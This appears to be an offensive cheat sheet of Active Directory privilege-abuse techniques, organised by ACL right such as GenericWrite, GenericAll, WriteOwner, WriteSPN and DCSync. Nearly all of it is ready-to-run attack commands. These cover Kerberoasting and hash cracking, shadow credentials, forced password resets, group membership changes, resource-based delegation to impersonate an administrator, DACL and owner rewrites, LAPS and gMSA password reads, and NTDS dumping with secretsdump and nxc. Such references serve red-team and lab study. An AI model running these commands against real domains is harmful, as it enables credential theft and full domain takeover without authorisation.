GenericWrite on User

Update object’s attributes

Targeted Kerberoasting

1
targetedKerberoast.py -d domain --dc-ip ip -u username -p password --dc-host dc --request-user target_user
1
hashcat -m 13100 -a 0 <hash_file> rockyou.txt --force
1
john <hash_file> --wordlist=rockyou.txt

ShadowCredentials

1
certipy shadow auto -u username@domain -p password -account target_user -dc-ip ip

Using Kerberos

1
certipy shadow auto -username username@domain -k -account target_user -dc-ip ip

GenericALL

Full rights to the object (add users to a group or reset user’s password)

Change Password

1
bloodyAD --host dc -d domain -u username -p password set password target new_password
1
net rpc password 'username' 'new_password' -U 'domain'/'username'%'hash' -S 'dc' --pw-nt-hash
1
net rpc password 'username' 'new_password' -U 'domain'/'username'%'password' -S 'dc'

Add user to a group

1
net rpc group addmem target_group username -U domain/username -S dc
1
bloodyAD --host dc -d domain -u username -p password add groupMember target_group target_username

RBCD

1
rbcd.py -delegate-from machine_name -delegate-to target -dc-ip ip -action write 'domain/username:password'
1
getST.py -spn 'cifs/dc' -impersonate administrator -dc-ip ip 'domain/machine_name:password
1
export KRB5CCNAME=administrator.ccache

GenericALL on OU

1
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal username -target-dn 'OU_DN' domain/username:password

ForceChangePassword

Ability to change user’s password

1
net rpc password <TargetUser> <new_password> -U "DOMAIN"/"ControlledUser"%"Password" -S <DomainController>
1
bloodyAD --host ip -d dc -u username -p password set password target_userename new_password
1
python rpcchangepwd.py <domain>/<username>:<password>@<ip> -newpass <new_password>
1
nxc smb domain -u username -p password -M change-password -o USER='target_username' NEWPASS='new_password'

AddMember

1
net rpc group addmem target_group username -U domain/username -S dc
1
bloodyAD.py --host dc -d domain -u username -p password add groupMember target_group user_to_add

AddSelf

The user has the ability to add itself to the target group

1
bloodyAD.py --host dc -d domain -u username -p password add groupMember target_group username

WriteOwner

Change object owner to attacker controlled user take over the object

1
owneredit.py -action write -new-owner username -target target domain/username:password
1
dacledit.py -action 'write' -rights 'FullControl' -principal username -target-dn dn 'domain/username:password'

or

1
dacledit.py -action 'write' -rights 'WriteMembers' -principal username -target-dn dn 'domain/username:password'
1
bloodyAD.py --host dc -d domain -u username -p password add groupMember target_group username

WriteSPN

The ability to write to the “serviceprincipalname” attribute to the target user

1
bloodyAD --host dc -d domain -u username -p password set object target servicePrincipalName -v 'domain/meow'
1
GetUserSPNs.py domain/username:password -dc-ip ip -request

or

1
targetedKerberoast.py -d domain --dc-ip ip -u username -p password --dc-host dc --request-user target_user
1
pywhisker.py -d domain --dc-ip ip -u username -p password --target target --action add
1
gettgtpkinit.py -cert-pfx file.pfx -pfx-pass pfx_password domain/target ticket.ccache -dc-ip ip
1
getnthash.py domain/target -k key -dc-ip ip

or

1
certipy shadow auto -u username@domain -p password -account target_user -dc-ip ip

ReadLAPSPassword

1
nxc smb target -u username -p password --laps

ReadGMSAPassword

1
nxc ldap target -u username -p password --gmsa

DCSync

A user or a computer has the DS-Replication-Get-Changes and the DS-Replication-Get-Changes-All permission on the domain

1
secretsdump.py domain/username:password@domain
1
secretsdump.py domain/username@domain -hashes :hash
1
secretsdump.py dc -k
1
nxc smb target -u username -p password --ntds
1
nxc smb target --use-kcache --ntds

Resources